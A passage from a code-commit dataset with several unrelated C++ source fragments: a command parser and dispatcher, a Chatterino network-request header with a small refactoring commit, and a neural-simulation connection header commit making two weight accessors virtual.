<>\nCommandManager* Singleton<CommandManager>::_instance = (CommandManager*)0;\n\nCommandManager::CommandManager()\n{\n \/\/ do nothing\n}\n\nCommandManager::~CommandManager()\n{\n \/\/ do nothing\n}\n\nvoid\t\t\t\tCommandManager::add(const std::string& name,\n\t\t\t\t\t\t CommandFunction func,\n\t\t\t\t\t\t const std::string& help)\n{\n commands.erase(name);\n CmdInfo info;\n info.func = func;\n info.help = help;\n commands.insert(std::make_pair(name, info));\n}\n\nvoid\t\t\t\tCommandManager::remove(const std::string& name)\n{\n commands.erase(name);\n}\n\nstd::string\t\t\tCommandManager::getHelp(const std::string& name) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end())\n return \"\";\n\n \/\/ return help string\n return index->second.help;\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& name,\n\t\t\t\t\t\t\t const ArgList& args, bool* ret) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end()) {\n if (ret)\n *ret = false;\n return TextUtils::format(\"Command %s not found\", name.c_str());\n }\n if (ret)\n *ret = true;\n \/\/ run it\n return (*index->second.func)(name, args,ret);\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& cmd,bool *ret) const\n{\n std::string result;\n const char* scan = cmd.c_str();\n\n scan = skipWhitespace(scan);\n while (scan != NULL && *scan != '\\0') {\n std::string name;\n ArgList args;\n\n \/\/ parse command name\n scan = skipWhitespace(scan);\n scan = readValue(scan, &name);\n if (scan != NULL)\n scan = skipWhitespace(scan);\n\n \/\/ parse arguments\n while (scan != NULL && *scan != '\\0' && *scan != ';') {\n std::string value;\n scan = readValue(scan, &value);\n if (scan != NULL) {\n\tscan = skipWhitespace(scan);\n\targs.push_back(value);\n }\n }\n\n \/\/ run it or report error\n if (scan == NULL) {\n if (ret)\n \t*ret = false;\n return std::string(\"Error parsing command\");\n } else if (name[0] != '#') {\n result = run(name, args, ret);\n }\n\n \/\/ discard ; and empty commands\n while (scan != NULL && *scan == ';') {\n ++scan;\n scan = skipWhitespace(scan);\n }\n }\n\n \/\/ return result of last command only\n return result;\n}\n\nvoid\t\t\t\tCommandManager::iterate(Callback callback,\n\t\t\t\t\t\t\tvoid* userData) const\n{\n assert(callback != NULL);\n\n for (Commands::const_iterator index = commands.begin();\n index != commands.end(); ++index)\n (*callback)(index->first, userData);\n}\n\n\nconst char*\t\t\tCommandManager::readValue(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n if (*string == '\\\"')\n return readQuoted(string + 1, value);\n else if (*string != '\\0')\n return readUnquoted(string, value);\n else\n return string;\n}\n\nconst char*\t\t\tCommandManager::readUnquoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n \/\/ read up to next whitespace. escapes are not interpreted.\n const char* start = string;\n while (*string != '\\0' && !iswspace(*string) && *string != ';')\n ++string;\n *value = std::string(start, string - start);\n return string;\n}\n\nconst char*\t\t\tCommandManager::readQuoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n *value = \"\";\n bool escaped = false;\n for (; *string != '\\0'; ++string) {\n if (escaped) {\n switch (*string) {\n\tcase 't': value->append(\"\\t\", 1); break;\n\tcase 'n': value->append(\"\\n\", 1); break;\n\tcase 'r': value->append(\"\\r\", 1); break;\n\tcase '\\\\': value->append(\"\\\\\", 1); break;\n\tcase '\\\"': value->append(\"\\\"\", 1); break;\n\tdefault: value->append(string, 1); break;\n }\n escaped = false;\n } else if (*string == '\\\\') {\n escaped = true;\n } else if (*string == '\\\"') {\n return string + 1;\n } else {\n value->append(string, 1);\n }\n }\n \/\/ closing quote is missing. if escaped is true the called may have\n \/\/ wanted to continue the line but we don't allow that.\n return NULL;\n}\n\nconst char*\t\t\tCommandManager::skipWhitespace(const char* string)\n{\n while (*string != '\\0' && isspace(*string))\n ++string;\n return string;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"Application.hpp\"\n#include \"common\/NetworkManager.hpp\"\n#include \"common\/NetworkRequester.hpp\"\n#include \"common\/NetworkWorker.hpp\"\n#include \"singletons\/Paths.hpp\"\n\n#include <rapidjson\/document.h>\n#include <rapidjson\/error\/en.h>\n#include <QCryptographicHash>\n#include <QFile>\n\nnamespace chatterino {\n\nstatic QJsonObject parseJSONFromData(const QByteArray &data)\n{\n QJsonDocument jsonDoc(QJsonDocument::fromJson(data));\n\n if (jsonDoc.isNull()) {\n return QJsonObject();\n }\n\n return jsonDoc.object();\n}\n\nstatic rapidjson::Document parseJSONFromData2(const QByteArray &data)\n{\n rapidjson::Document ret(rapidjson::kNullType);\n\n rapidjson::ParseResult result = ret.Parse(data.data(), data.length());\n\n if (result.Code() != rapidjson::kParseErrorNone) {\n Log(\"JSON parse error: {} ({})\", rapidjson::GetParseError_En(result.Code()),\n result.Offset());\n return ret;\n }\n\n return ret;\n}\n\nstatic rapidjson::Document parseJSONFromReply2(QNetworkReply *reply)\n{\n rapidjson::Document ret(rapidjson::kNullType);\n\n if (reply->error() != QNetworkReply::NetworkError::NoError) {\n return ret;\n }\n\n QByteArray data = reply->readAll();\n rapidjson::ParseResult result = ret.Parse(data.data(), data.length());\n\n if (result.Code() != rapidjson::kParseErrorNone) {\n Log(\"JSON parse error: {} ({})\", rapidjson::GetParseError_En(result.Code()),\n result.Offset());\n return ret;\n }\n\n return ret;\n}\n\nclass NetworkRequest\n{\npublic:\n enum RequestType {\n GetRequest,\n PostRequest,\n PutRequest,\n DeleteRequest,\n };\n\nprivate:\n struct Data {\n QNetworkRequest request;\n const QObject *caller = nullptr;\n std::function<void(QNetworkReply *)> onReplyCreated;\n int timeoutMS = -1;\n bool useQuickLoadCache = false;\n\n std::function<bool(int)> onError;\n std::function<bool(const rapidjson::Document &)> onSuccess;\n\n NetworkRequest::RequestType requestType;\n\n QByteArray payload;\n\n QString getHash()\n {\n if (this->hash.isEmpty()) {\n QByteArray bytes;\n\n bytes.append(this->request.url().toString());\n\n for (const auto &header : this->request.rawHeaderList()) {\n bytes.append(header);\n }\n\n QByteArray hashBytes(QCryptographicHash::hash(bytes, QCryptographicHash::Sha256));\n\n this->hash = hashBytes.toHex();\n }\n\n return this->hash;\n }\n\n void writeToCache(const QByteArray &bytes);\n\n private:\n QString hash;\n } data;\n\npublic:\n NetworkRequest() = delete;\n explicit NetworkRequest(const char *url);\n explicit NetworkRequest(const std::string &url);\n explicit NetworkRequest(const QString &url);\n NetworkRequest(QUrl url);\n\n void setRequestType(RequestType newRequestType);\n\n template <typename Func>\n void onError(Func cb)\n {\n this->data.onError = cb;\n }\n\n template <typename Func>\n void onSuccess(Func cb)\n {\n this->data.onSuccess = cb;\n }\n\n void setPayload(const QByteArray &payload)\n {\n this->data.payload = payload;\n }\n\n void setUseQuickLoadCache(bool value);\n void setCaller(const QObject *caller);\n void setOnReplyCreated(std::function<void(QNetworkReply *)> f);\n void setRawHeader(const char *headerName, const char *value);\n void setRawHeader(const char *headerName, const QByteArray &value);\n void setRawHeader(const char *headerName, const QString &value);\n void setTimeout(int ms);\n void makeAuthorizedV5(const QString &clientID, const QString &oauthToken = QString());\n\n template <typename FinishedCallback>\n void get(FinishedCallback onFinished)\n {\n if (this->data.useQuickLoadCache) {\n auto app = getApp();\n\n QFile cachedFile(app->paths->cacheDirectory + \"\/\" + this->data.getHash());\n\n if (cachedFile.exists()) {\n if (cachedFile.open(QIODevice::ReadOnly)) {\n QByteArray bytes = cachedFile.readAll();\n\n \/\/ qDebug() << \"Loaded cached resource\" << this->data.request.url();\n\n bool success = onFinished(bytes);\n\n cachedFile.close();\n\n if (!success) {\n \/\/ The images were not successfully loaded from the file\n \/\/ XXX: Invalidate the cache file so we don't attempt to load it again next\n \/\/ time\n }\n }\n }\n }\n\n QTimer *timer = nullptr;\n if (this->data.timeoutMS > 0) {\n timer = new QTimer;\n }\n\n NetworkRequester requester;\n NetworkWorker *worker = new NetworkWorker;\n\n worker->moveToThread(&NetworkManager::workerThread);\n\n if (this->data.caller != nullptr) {\n QObject::connect(worker, &NetworkWorker::doneUrl, this->data.caller,\n [onFinished, data = this->data](auto reply) mutable {\n if (reply->error() != QNetworkReply::NetworkError::NoError) {\n if (data.onError) {\n data.onError(reply->error());\n }\n return;\n }\n\n QByteArray readBytes = reply->readAll();\n QByteArray bytes;\n bytes.setRawData(readBytes.data(), readBytes.size());\n data.writeToCache(bytes);\n onFinished(bytes);\n\n reply->deleteLater();\n });\n }\n\n if (timer != nullptr) {\n timer->start(this->data.timeoutMS);\n }\n\n QObject::connect(\n &requester, &NetworkRequester::requestUrl, worker,\n [timer, data = std::move(this->data), worker, onFinished{std::move(onFinished)}]() {\n QNetworkReply *reply = NetworkManager::NaM.get(data.request);\n\n if (timer != nullptr) {\n QObject::connect(timer, &QTimer::timeout, worker, [reply, timer]() {\n Log(\"Aborted!\");\n reply->abort();\n timer->deleteLater();\n });\n }\n\n if (data.onReplyCreated) {\n data.onReplyCreated(reply);\n }\n\n QObject::connect(reply, &QNetworkReply::finished, worker,\n [data = std::move(data), worker, reply,\n onFinished = std::move(onFinished)]() mutable {\n if (data.caller == nullptr) {\n QByteArray bytes = reply->readAll();\n data.writeToCache(bytes);\n onFinished(bytes);\n\n reply->deleteLater();\n } else {\n emit worker->doneUrl(reply);\n }\n\n delete worker;\n });\n });\n\n emit requester.requestUrl();\n }\n\n template <typename FinishedCallback>\n void getJSON(FinishedCallback onFinished)\n {\n this->get([onFinished{std::move(onFinished)}](const QByteArray &bytes) -> bool {\n auto object = parseJSONFromData(bytes);\n onFinished(object);\n\n \/\/ XXX: Maybe return onFinished? For now I don't want to force onFinished to have a\n \/\/ return value\n return true;\n });\n }\n\n void execute();\n\nprivate:\n void useCache();\n void doRequest();\n void executeGet();\n void executePut();\n void executeDelete();\n};\n\n} \/\/ namespace chatterino\n<commit_msg>Remove unused parseJSONFromReply2 function<commit_after>#pragma once\n\n#include \"Application.hpp\"\n#include \"common\/NetworkManager.hpp\"\n#include \"common\/NetworkRequester.hpp\"\n#include \"common\/NetworkWorker.hpp\"\n#include \"singletons\/Paths.hpp\"\n\n#include <rapidjson\/document.h>\n#include <rapidjson\/error\/en.h>\n#include <QCryptographicHash>\n#include <QFile>\n\nnamespace chatterino {\n\nstatic QJsonObject parseJSONFromData(const QByteArray &data)\n{\n QJsonDocument jsonDoc(QJsonDocument::fromJson(data));\n\n if (jsonDoc.isNull()) {\n return QJsonObject();\n }\n\n return jsonDoc.object();\n}\n\nstatic rapidjson::Document parseJSONFromData2(const QByteArray &data)\n{\n rapidjson::Document ret(rapidjson::kNullType);\n\n rapidjson::ParseResult result = ret.Parse(data.data(), data.length());\n\n if (result.Code() != rapidjson::kParseErrorNone) {\n Log(\"JSON parse error: {} ({})\", rapidjson::GetParseError_En(result.Code()),\n result.Offset());\n return ret;\n }\n\n return ret;\n}\n\nclass NetworkRequest\n{\npublic:\n enum RequestType {\n GetRequest,\n PostRequest,\n PutRequest,\n DeleteRequest,\n };\n\nprivate:\n struct Data {\n QNetworkRequest request;\n const QObject *caller = nullptr;\n std::function<void(QNetworkReply *)> onReplyCreated;\n int timeoutMS = -1;\n bool useQuickLoadCache = false;\n\n std::function<bool(int)> onError;\n std::function<bool(const rapidjson::Document &)> onSuccess;\n\n NetworkRequest::RequestType requestType;\n\n QByteArray payload;\n\n QString getHash()\n {\n if (this->hash.isEmpty()) {\n QByteArray bytes;\n\n bytes.append(this->request.url().toString());\n\n for (const auto &header : this->request.rawHeaderList()) {\n bytes.append(header);\n }\n\n QByteArray hashBytes(QCryptographicHash::hash(bytes, QCryptographicHash::Sha256));\n\n this->hash = hashBytes.toHex();\n }\n\n return this->hash;\n }\n\n void writeToCache(const QByteArray &bytes);\n\n private:\n QString hash;\n } data;\n\npublic:\n NetworkRequest() = delete;\n explicit NetworkRequest(const char *url);\n explicit NetworkRequest(const std::string &url);\n explicit NetworkRequest(const QString &url);\n NetworkRequest(QUrl url);\n\n void setRequestType(RequestType newRequestType);\n\n template <typename Func>\n void onError(Func cb)\n {\n this->data.onError = cb;\n }\n\n template <typename Func>\n void onSuccess(Func cb)\n {\n this->data.onSuccess = cb;\n }\n\n void setPayload(const QByteArray &payload)\n {\n this->data.payload = payload;\n }\n\n void setUseQuickLoadCache(bool value);\n void setCaller(const QObject *caller);\n void setOnReplyCreated(std::function<void(QNetworkReply *)> f);\n void setRawHeader(const char *headerName, const char *value);\n void setRawHeader(const char *headerName, const QByteArray &value);\n void setRawHeader(const char *headerName, const QString &value);\n void setTimeout(int ms);\n void makeAuthorizedV5(const QString &clientID, const QString &oauthToken = QString());\n\n template <typename FinishedCallback>\n void get(FinishedCallback onFinished)\n {\n if (this->data.useQuickLoadCache) {\n auto app = getApp();\n\n QFile cachedFile(app->paths->cacheDirectory + \"\/\" + this->data.getHash());\n\n if (cachedFile.exists()) {\n if (cachedFile.open(QIODevice::ReadOnly)) {\n QByteArray bytes = cachedFile.readAll();\n\n \/\/ qDebug() << \"Loaded cached resource\" << this->data.request.url();\n\n bool success = onFinished(bytes);\n\n cachedFile.close();\n\n if (!success) {\n \/\/ The images were not successfully loaded from the file\n \/\/ XXX: Invalidate the cache file so we don't attempt to load it again next\n \/\/ time\n }\n }\n }\n }\n\n QTimer *timer = nullptr;\n if (this->data.timeoutMS > 0) {\n timer = new QTimer;\n }\n\n NetworkRequester requester;\n NetworkWorker *worker = new NetworkWorker;\n\n worker->moveToThread(&NetworkManager::workerThread);\n\n if (this->data.caller != nullptr) {\n QObject::connect(worker, &NetworkWorker::doneUrl, this->data.caller,\n [onFinished, data = this->data](auto reply) mutable {\n if (reply->error() != QNetworkReply::NetworkError::NoError) {\n if (data.onError) {\n data.onError(reply->error());\n }\n return;\n }\n\n QByteArray readBytes = reply->readAll();\n QByteArray bytes;\n bytes.setRawData(readBytes.data(), readBytes.size());\n data.writeToCache(bytes);\n onFinished(bytes);\n\n reply->deleteLater();\n });\n }\n\n if (timer != nullptr) {\n timer->start(this->data.timeoutMS);\n }\n\n QObject::connect(\n &requester, &NetworkRequester::requestUrl, worker,\n [timer, data = std::move(this->data), worker, onFinished{std::move(onFinished)}]() {\n QNetworkReply *reply = NetworkManager::NaM.get(data.request);\n\n if (timer != nullptr) {\n QObject::connect(timer, &QTimer::timeout, worker, [reply, timer]() {\n Log(\"Aborted!\");\n reply->abort();\n timer->deleteLater();\n });\n }\n\n if (data.onReplyCreated) {\n data.onReplyCreated(reply);\n }\n\n QObject::connect(reply, &QNetworkReply::finished, worker,\n [data = std::move(data), worker, reply,\n onFinished = std::move(onFinished)]() mutable {\n if (data.caller == nullptr) {\n QByteArray bytes = reply->readAll();\n data.writeToCache(bytes);\n onFinished(bytes);\n\n reply->deleteLater();\n } else {\n emit worker->doneUrl(reply);\n }\n\n delete worker;\n });\n });\n\n emit requester.requestUrl();\n }\n\n template <typename FinishedCallback>\n void getJSON(FinishedCallback onFinished)\n {\n this->get([onFinished{std::move(onFinished)}](const QByteArray &bytes) -> bool {\n auto object = parseJSONFromData(bytes);\n onFinished(object);\n\n \/\/ XXX: Maybe return onFinished? For now I don't want to force onFinished to have a\n \/\/ return value\n return true;\n });\n }\n\n void execute();\n\nprivate:\n void useCache();\n void doRequest();\n void executeGet();\n void executePut();\n void executeDelete();\n};\n\n} \/\/ namespace chatterino\n<|endoftext|>"} {"text":"<commit_before>\/*\n * HyPerConnection.hpp\n *\n * Created on: Oct 21, 2008\n * Author: rasmussn\n *\/\n\n#ifndef HYPERCONN_HPP_\n#define HYPERCONN_HPP_\n\n#include \"PVConnection.h\"\n#include \"..\/columns\/InterColComm.hpp\"\n#include \"..\/include\/pv_types.h\"\n#include \"..\/io\/PVParams.hpp\"\n#include \"..\/layers\/HyPerLayer.hpp\"\n\n#define PROTECTED_NUMBER 13\n#define MAX_ARBOR_LIST (1+MAX_NEIGHBORS)\n\nnamespace PV {\n\nclass HyPerCol;\nclass HyPerLayer;\nclass ConnectionProbe;\n\n\/**\n * A PVConnection identifies a connection between two layers\n *\/\ntypedef struct {\n int delay; \/\/ current output delay in the associated f ring buffer (should equal fixed delay + varible delay for valid connection)\n int fixDelay; \/\/ fixed output delay. TODO: should be float\n int varDelayMin; \/\/ minimum variable conduction delay\n int varDelayMax; \/\/ maximum variable conduction delay\n int numDelay;\n int isGraded; \/\/==1, release is stochastic with prob = (activity <= 1), default is 0 (no graded release)\n float vel; \/\/ conduction velocity in position units (pixels) per time step--added by GTK\n float rmin; \/\/ minimum connection distance\n float rmax; \/\/ maximum connection distance\n} PVConnParams;\n\nclass HyPerConn {\n\n friend class HyPerCol;\n\npublic:\n HyPerConn();\n HyPerConn(const char * name, HyPerCol * hc, HyPerLayer * pre, HyPerLayer * post,\n int channel);\n HyPerConn(const char * name, HyPerCol * hc, HyPerLayer * pre, HyPerLayer * post,\n int channel, const char * filename);\n virtual ~HyPerConn();\n\n virtual int deliver(Publisher * pub, PVLayerCube * cube, int neighbor);\n\n virtual int insertProbe(ConnectionProbe * p);\n virtual int outputState(float time, bool last=false);\n virtual int updateState(float time, float dt);\n virtual int updateWeights(int axonId);\n\n inline int numberOfAxonalArborLists() {return numAxonalArborLists;}\n virtual int numWeightPatches(int arbor);\n virtual int numDataPatches(int arbor);\n virtual int writeWeights(float time, bool last=false);\n virtual int writeWeights(PVPatch ** patches, int numPatches,\n const char * filename, float time, bool last);\n virtual int writeTextWeights(const char * filename, int k);\n virtual int writePostSynapticWeights(float time, bool last=false);\n\n int readWeights(const char * filename);\n virtual PVPatch ** readWeights(PVPatch ** patches, int numPatches,\n const char * filename);\n\n virtual PVPatch * getWeights(int kPre, int arbor);\n virtual PVPatch * getPlasticityIncrement(int k, int arbor);\n\n inline PVLayerCube * getPlasticityDecrement() {return pDecr;}\n\n inline PVPatch ** weights(int neighbor) {return wPatches[neighbor];}\n\n inline const char * getName() {return name;}\n inline int getDelay() {return params->delay;}\n\n inline float minWeight() {return 0.0;}\n inline float maxWeight() {return wMax;}\n\n inline PVAxonalArbor * axonalArbor(int kPre, int neighbor)\n {return &axonalArborList[neighbor][kPre];}\n\n HyPerLayer * preSynapticLayer() {return pre;}\n HyPerLayer * postSynapticLayer() {return post;}\n\n int getConnectionId() {return connId;}\n void setConnectionId(int id) {connId = id;}\n\n int setParams(PVParams * params, PVConnParams * p);\n\n PVPatch ** convertPreSynapticWeights(float time);\n\n int preSynapticPatchHead(int kxPost, int kyPost, int kfPost, int * kxPre, int * kyPre);\n int postSynapticPatchHead(int kPre,\n int * kxPostOut, int * kyPostOut, int * kfPostOut,\n int * dxOut, int * dyOut, int * nxpOut, int * nypOut);\n\n int gauss2DCalcWeights(PVPatch * wp, int kPre, int noPost,\n int numFlanks, float shift, float rotate, float aspect, float sigma,\n float r2Max, float strength);\n\n PVPatch ** normalizeWeights(PVPatch ** patches, int numPatches);\n\n virtual int kernelIndexToPatchIndex(int kernelIndex);\n\n virtual int patchIndexToKernelIndex(int patchIndex);\n\nprotected:\n HyPerLayer * pre;\n HyPerLayer * post;\n HyPerCol * parent;\n PVLayerCube * pDecr; \/\/ plasticity decrement variable (Mi) for pre-synaptic layer\n PVPatch ** pIncr; \/\/ list of stdp patches Psij variable\n PVPatch ** wPatches[MAX_ARBOR_LIST]; \/\/ list of weight patches, one set per neighbor\n PVPatch ** wPostPatches; \/\/ post-synaptic linkage of weights\n PVAxonalArbor * axonalArborList[MAX_ARBOR_LIST]; \/\/ list of axonal arbors for each neighbor\n\n int channel; \/\/ which channel of the post to update (e.g. inhibit)\n int connId; \/\/ connection id\n\n char * name;\n int nxp, nyp, nfp; \/\/ size of weight dimensions\n\n int numParams;\n PVConnParams * params;\n\n int numAxonalArborLists; \/\/ number of axonal arbors (weight patches) for presynaptic layer\n\n \/\/ STDP parameters for modifying weights\n float ampLTP; \/\/ long term potentiation amplitude\n float ampLTD; \/\/ long term depression amplitude\n float tauLTP;\n float tauLTD;\n float dWMax;\n float wMax;\n float wMin;\n\n int numProbes;\n ConnectionProbe ** probes; \/\/ probes used to output data\n\n bool stdpFlag; \/\/ presence of spike timing dependent plasticity\n bool ioAppend; \/\/ controls opening of binary files\n float wPostTime; \/\/ time of last conversion to wPostPatches\n float writeTime; \/\/ time of next output\n float writeStep; \/\/ output time interval\n\nprotected:\n int setPatchSize(const char * filename);\n\n int initialize(const char * name, HyPerCol * hc,\n HyPerLayer * pre, HyPerLayer * post, int channel, const char * filename);\n int initialize(const char * name, HyPerCol * hc,\n HyPerLayer * pre, HyPerLayer * post, int channel);\n int initialize_base();\n int initialize(const char * filename);\n int initializeSTDP();\n virtual PVPatch ** initializeWeights(PVPatch ** patches, int numPatches,\n const char * filename);\n PVPatch ** initializeRandomWeights(PVPatch ** patches, int numPatches, int seed);\n PVPatch ** initializeSmartWeights(PVPatch ** patches, int numPatches);\n virtual PVPatch ** initializeDefaultWeights(PVPatch ** patches, int numPatches);\n PVPatch ** initializeGaussianWeights(PVPatch ** patches, int numPatches);\n virtual PVPatch ** createWeights(PVPatch ** patches, int nPatches, int nxPatch,\n int nyPatch, int nfPatch);\n PVPatch ** createWeights(PVPatch ** patches);\n virtual PVPatch ** allocWeights(PVPatch ** patches, int nPatches, int nxPatch,\n int nyPatch, int nfPatch);\n PVPatch ** allocWeights(PVPatch ** patches);\n\n int uniformWeights(PVPatch * wp, float wMin, float wMax, int * seed);\n\n int gaussianWeights(PVPatch * wp, float mean, float stdev, int * seed);\n\n int smartWeights(PVPatch * wp, int k);\n\n virtual int checkPVPFileHeader(const PVLayerLoc * loc, int params[], int numParams);\n virtual int checkWeightsHeader(const char * filename, int wgtParams[]);\n\n virtual int deleteWeights();\n\n virtual int createAxonalArbors();\n\n \/\/ static member functions\n\npublic:\n static PVPatch ** createPatches(int numBundles, int nx, int ny, int nf)\n {\n PVPatch ** patches = (PVPatch**) malloc(numBundles*sizeof(PVPatch*));\n\n for (int i = 0; i < numBundles; i++) {\n patches[i] = pvpatch_inplace_new(nx, ny, nf);\n }\n\n return patches;\n }\n\n static int deletePatches(int numBundles, PVPatch ** patches)\n {\n for (int i = 0; i < numBundles; i++) {\n pvpatch_inplace_delete(patches[i]);\n }\n free(patches);\n\n return 0;\n }\n\n};\n\n} \/\/ namespace PV\n\n#endif \/* HYPERCONN_HPP_ *\/\n<commit_msg>made methods wmin and mwax virtual to allow kernelConn subclass to override<commit_after>\/*\n * HyPerConnection.hpp\n *\n * Created on: Oct 21, 2008\n * Author: rasmussn\n *\/\n\n#ifndef HYPERCONN_HPP_\n#define HYPERCONN_HPP_\n\n#include \"PVConnection.h\"\n#include \"..\/columns\/InterColComm.hpp\"\n#include \"..\/include\/pv_types.h\"\n#include \"..\/io\/PVParams.hpp\"\n#include \"..\/layers\/HyPerLayer.hpp\"\n\n#define PROTECTED_NUMBER 13\n#define MAX_ARBOR_LIST (1+MAX_NEIGHBORS)\n\nnamespace PV {\n\nclass HyPerCol;\nclass HyPerLayer;\nclass ConnectionProbe;\n\n\/**\n * A PVConnection identifies a connection between two layers\n *\/\ntypedef struct {\n int delay; \/\/ current output delay in the associated f ring buffer (should equal fixed delay + varible delay for valid connection)\n int fixDelay; \/\/ fixed output delay. TODO: should be float\n int varDelayMin; \/\/ minimum variable conduction delay\n int varDelayMax; \/\/ maximum variable conduction delay\n int numDelay;\n int isGraded; \/\/==1, release is stochastic with prob = (activity <= 1), default is 0 (no graded release)\n float vel; \/\/ conduction velocity in position units (pixels) per time step--added by GTK\n float rmin; \/\/ minimum connection distance\n float rmax; \/\/ maximum connection distance\n} PVConnParams;\n\nclass HyPerConn {\n\n friend class HyPerCol;\n\npublic:\n HyPerConn();\n HyPerConn(const char * name, HyPerCol * hc, HyPerLayer * pre, HyPerLayer * post,\n int channel);\n HyPerConn(const char * name, HyPerCol * hc, HyPerLayer * pre, HyPerLayer * post,\n int channel, const char * filename);\n virtual ~HyPerConn();\n\n virtual int deliver(Publisher * pub, PVLayerCube * cube, int neighbor);\n\n virtual int insertProbe(ConnectionProbe * p);\n virtual int outputState(float time, bool last=false);\n virtual int updateState(float time, float dt);\n virtual int updateWeights(int axonId);\n\n inline int numberOfAxonalArborLists() {return numAxonalArborLists;}\n virtual int numWeightPatches(int arbor);\n virtual int numDataPatches(int arbor);\n virtual int writeWeights(float time, bool last=false);\n virtual int writeWeights(PVPatch ** patches, int numPatches,\n const char * filename, float time, bool last);\n virtual int writeTextWeights(const char * filename, int k);\n virtual int writePostSynapticWeights(float time, bool last=false);\n\n int readWeights(const char * filename);\n virtual PVPatch ** readWeights(PVPatch ** patches, int numPatches,\n const char * filename);\n\n virtual PVPatch * getWeights(int kPre, int arbor);\n virtual PVPatch * getPlasticityIncrement(int k, int arbor);\n\n inline PVLayerCube * getPlasticityDecrement() {return pDecr;}\n\n inline PVPatch ** weights(int neighbor) {return wPatches[neighbor];}\n\n inline const char * getName() {return name;}\n inline int getDelay() {return params->delay;}\n\n virtual float minWeight() {return 0.0;}\n virtual float maxWeight() {return wMax;}\n\n inline PVAxonalArbor * axonalArbor(int kPre, int neighbor)\n {return &axonalArborList[neighbor][kPre];}\n\n HyPerLayer * preSynapticLayer() {return pre;}\n HyPerLayer * postSynapticLayer() {return post;}\n\n int getConnectionId() {return connId;}\n void setConnectionId(int id) {connId = id;}\n\n int setParams(PVParams * params, PVConnParams * p);\n\n PVPatch ** convertPreSynapticWeights(float time);\n\n int preSynapticPatchHead(int kxPost, int kyPost, int kfPost, int * kxPre, int * kyPre);\n int postSynapticPatchHead(int kPre,\n int * kxPostOut, int * kyPostOut, int * kfPostOut,\n int * dxOut, int * dyOut, int * nxpOut, int * nypOut);\n\n int gauss2DCalcWeights(PVPatch * wp, int kPre, int noPost,\n int numFlanks, float shift, float rotate, float aspect, float sigma,\n float r2Max, float strength);\n\n PVPatch ** normalizeWeights(PVPatch ** patches, int numPatches);\n\n virtual int kernelIndexToPatchIndex(int kernelIndex);\n\n virtual int patchIndexToKernelIndex(int patchIndex);\n\nprotected:\n HyPerLayer * pre;\n HyPerLayer * post;\n HyPerCol * parent;\n PVLayerCube * pDecr; \/\/ plasticity decrement variable (Mi) for pre-synaptic layer\n PVPatch ** pIncr; \/\/ list of stdp patches Psij variable\n PVPatch ** wPatches[MAX_ARBOR_LIST]; \/\/ list of weight patches, one set per neighbor\n PVPatch ** wPostPatches; \/\/ post-synaptic linkage of weights\n PVAxonalArbor * axonalArborList[MAX_ARBOR_LIST]; \/\/ list of axonal arbors for each neighbor\n\n int channel; \/\/ which channel of the post to update (e.g. inhibit)\n int connId; \/\/ connection id\n\n char * name;\n int nxp, nyp, nfp; \/\/ size of weight dimensions\n\n int numParams;\n PVConnParams * params;\n\n int numAxonalArborLists; \/\/ number of axonal arbors (weight patches) for presynaptic layer\n\n \/\/ STDP parameters for modifying weights\n float ampLTP; \/\/ long term potentiation amplitude\n float ampLTD; \/\/ long term depression amplitude\n float tauLTP;\n float tauLTD;\n float dWMax;\n float wMax;\n float wMin;\n\n int numProbes;\n ConnectionProbe ** probes; \/\/ probes used to output data\n\n bool stdpFlag; \/\/ presence of spike timing dependent plasticity\n bool ioAppend; \/\/ controls opening of binary files\n float wPostTime; \/\/ time of last conversion to wPostPatches\n float writeTime; \/\/ time of next output\n float writeStep; \/\/ output time interval\n\nprotected:\n int setPatchSize(const char * filename);\n\n int initialize(const char * name, HyPerCol * hc,\n HyPerLayer * pre, HyPerLayer * post, int channel, const char * filename);\n int initialize(const char * name, HyPerCol * hc,\n HyPerLayer * pre, HyPerLayer * post, int channel);\n int initialize_base();\n int initialize(const char * filename);\n int initializeSTDP();\n virtual PVPatch ** initializeWeights(PVPatch ** patches, int numPatches,\n const char * filename);\n PVPatch ** initializeRandomWeights(PVPatch ** patches, int numPatches, int seed);\n PVPatch ** initializeSmartWeights(PVPatch ** patches, int numPatches);\n virtual PVPatch ** initializeDefaultWeights(PVPatch ** patches, int numPatches);\n PVPatch ** initializeGaussianWeights(PVPatch ** patches, int numPatches);\n virtual PVPatch ** createWeights(PVPatch ** patches, int nPatches, int nxPatch,\n int nyPatch, int nfPatch);\n PVPatch ** createWeights(PVPatch ** patches);\n virtual PVPatch ** allocWeights(PVPatch ** patches, int nPatches, int nxPatch,\n int nyPatch, int nfPatch);\n PVPatch ** allocWeights(PVPatch ** patches);\n\n int uniformWeights(PVPatch * wp, float wMin, float wMax, int * seed);\n\n int gaussianWeights(PVPatch * wp, float mean, float stdev, int * seed);\n\n int smartWeights(PVPatch * wp, int k);\n\n virtual int checkPVPFileHeader(const PVLayerLoc * loc, int params[], int numParams);\n virtual int checkWeightsHeader(const char * filename, int wgtParams[]);\n\n virtual int deleteWeights();\n\n virtual int createAxonalArbors();\n\n \/\/ static member functions\n\npublic:\n static PVPatch ** createPatches(int numBundles, int nx, int ny, int nf)\n {\n PVPatch ** patches = (PVPatch**) malloc(numBundles*sizeof(PVPatch*));\n\n for (int i = 0; i < numBundles; i++) {\n patches[i] = pvpatch_inplace_new(nx, ny, nf);\n }\n\n return patches;\n }\n\n static int deletePatches(int numBundles, PVPatch ** patches)\n {\n for (int i = 0; i < numBundles; i++) {\n pvpatch_inplace_delete(patches[i]);\n }\n free(patches);\n\n return 0;\n }\n\n};\n\n} \/\/ namespace PV\n\n#endif \/* HYPERCONN_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 2003-2010 Sony Pictures Imageworks Inc., et al.\nAll Rights Reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n* Redistributions 